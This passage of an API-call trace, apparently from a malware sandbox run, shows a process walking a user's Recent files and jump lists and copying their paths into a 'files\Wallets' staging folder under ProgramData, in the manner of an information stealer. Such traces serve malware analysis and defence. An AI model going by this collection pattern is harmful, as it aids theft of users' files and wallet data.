lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.425] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.425] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="eb282ead62b4db87.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\eb282ead62b4db87.automaticDestinations-ms" [0052.426] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.426] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="f01b4d95cf55d32a.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms" [0052.426] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.426] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.426] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="f01b4d95cf55d32a.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\f01b4d95cf55d32a.automaticDestinations-ms" [0052.426] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.426] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="fb3b0dbfee58fac8.automaticDestinations-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms" [0052.426] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations" [0052.426] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\" [0052.426] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\", lpString2="fb3b0dbfee58fac8.automaticDestinations-ms" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\fb3b0dbfee58fac8.automaticDestinations-ms" [0052.426] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.426] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.426] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.426] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.426] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="aW26toRHv-.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aW26toRHv-.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\aW26toRHv-.flv.lnk" [0052.426] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.426] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.427] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="aW26toRHv-.flv.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\aW26toRHv-.flv.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\aW26toRHv-.flv.lnk" [0052.427] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.427] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="bt75.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bt75.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\bt75.lnk" [0052.427] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.427] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.427] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="bt75.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\bt75.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\bt75.lnk" [0052.427] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.427] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="C0Cs.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C0Cs.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\C0Cs.lnk" [0052.427] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.427] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.427] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="C0Cs.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\C0Cs.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\C0Cs.lnk" [0052.427] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.427] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.427] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="c1pc0 h.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c1pc0 h.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\c1pc0 h.lnk" [0052.427] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.427] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.427] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="c1pc0 h.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\c1pc0 h.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\c1pc0 h.lnk" [0052.427] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.427] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CgNXj uz0_7SR.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CgNXj uz0_7SR.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CgNXj uz0_7SR.lnk" [0052.428] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.428] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.428] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="CgNXj uz0_7SR.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CgNXj uz0_7SR.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CgNXj uz0_7SR.lnk" [0052.428] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.428] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CiUN.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CiUN.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CiUN.lnk" [0052.428] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.428] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.428] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="CiUN.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CiUN.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CiUN.lnk" [0052.428] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.428] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="cRQ_z.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cRQ_z.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cRQ_z.lnk" [0052.428] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.428] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.428] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="cRQ_z.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\cRQ_z.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\cRQ_z.lnk" [0052.428] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.428] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.428] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0052.428] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.428] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.428] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="CustomDestinations" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\CustomDestinations") 